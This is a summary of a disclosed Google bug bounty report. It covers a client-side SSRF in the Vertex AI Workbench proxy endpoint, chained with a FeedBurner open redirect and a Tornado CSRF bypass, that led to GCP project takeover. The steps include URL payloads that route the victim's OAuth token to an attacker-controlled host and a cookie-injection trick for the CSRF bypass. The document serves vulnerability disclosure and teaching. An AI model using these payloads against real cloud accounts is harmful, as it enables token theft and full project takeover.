# Client-Side SSRF to Google Cloud Project Takeover [Google VRP]

Vertex AI Workbench proxy endpoint leaked OAuth cloud-platform tokens via SSRF; chained open redirect and Tornado CSRF bypass gave full GCP project takeover.

- Payout: $5,000
- Severity: critical
- Program: Google
- Credited: Dohyun Lee
- Disclosed: 2023-01-12
- Write-up quality: 9/10
- Original: https://blog.geekycat.in/client-side-ssrf-to-google-cloud-project-takeover/
- Library page: https://bugbountylibrary.com/r/blog%3Ablog-geekycat-in-client-side-ssrf-to-google-cloud-project-takeover
- Tags: domain:cloud impact:ato impact:data-leak kind:bounty platform:blog sev:critical tech:oauth technique:chained technique:incomplete-fix technique:source-review vuln:csrf vuln:open-redirect vuln:ssrf

**Target:** Vertex AI Workbench managed notebook proxy endpoint (/aipn/v2/proxy/)
**Root cause:** The proxy endpoint forwarded requests with the victim's Authorization header to attacker-influenced hosts; host whitelist was bypassable via path confusion and later via *.google.com open redirect, and GET lacked effective CSRF protection.
**Steps:**
1. Create a managed notebook; note instance URL https://{INSTANCE-ID}-dot-us-central1.notebooks.googleusercontent.com/
2. Observe proxy URL /aipn/v2/proxy/compute.googleapis.com/... returns authenticated compute API output
3. Bypass host whitelist with `/aipn/v2/proxy/{attacker.com}/compute.googleapis.com/` to receive the Authorization token at attacker server
4. After fix, use open redirect: create FeedBurner proxy for attacker RSS, deactivate it, then use `https://feedproxy.google.com/{CUSTOM}/{ID}` which 3xx-redirects to attacker domain
5. Bypass Tornado CSRF by hosting attacker user-managed notebook page that sets `_xsrf=1;Domain=.googleusercontent.com` and fetches `/aipn/v2/proxy/feedproxy.google.com/{CUSTOM}/{ID}?_xsrf=1` with credentials
6. Victim visits attacker notebook; token lands in attacker logs
**How found:** Noticed the /aipn/v2/proxy/compute.googleapis.com/ URL pattern while exploring the OAuth flow and suspected SSRF; confirmed authenticated output, then fuzzed the host whitelist and found path-confusion bypass. After the fix, noticed *.google.com was newly allowed and hunted a 3xx open redirect, landing on FeedBurner's deactivated-proxy redirect behavior.
**Exploitation:** Attacker needs victim's instance subdomain (leaked via Referer to github/npm, or visible to Notebook viewer role). Crafted link or attacker-hosted notebook page causes victim's Workbench proxy to fetch attacker-controlled host with the victim's cloud-platform OAuth token in the Authorization header; token exfiltrated to attacker logs grants full access to all victim GCP projects.
**Escalation:** Chained host-whitelist bypass -> open redirect in feedproxy.google.com -> Tornado CSRF bypass via same-site cookie injection to defeat the CSRF fix and re-enable token theft.
**Insight:** Proxy endpoints that inject Authorization headers are token-theft primitives: test host-whitelist bypasses via path confusion (`/proxy/attacker.com/trusted.com/`) and, after fixes, look for 3xx open redirects on newly-allowed parent domains. Also, Tornado's _xsrf cookie can be overwritten from any same-site subdomain, so CSRF fixes on googleusercontent-style sandbox domains are bypassable with attacker-hosted JS.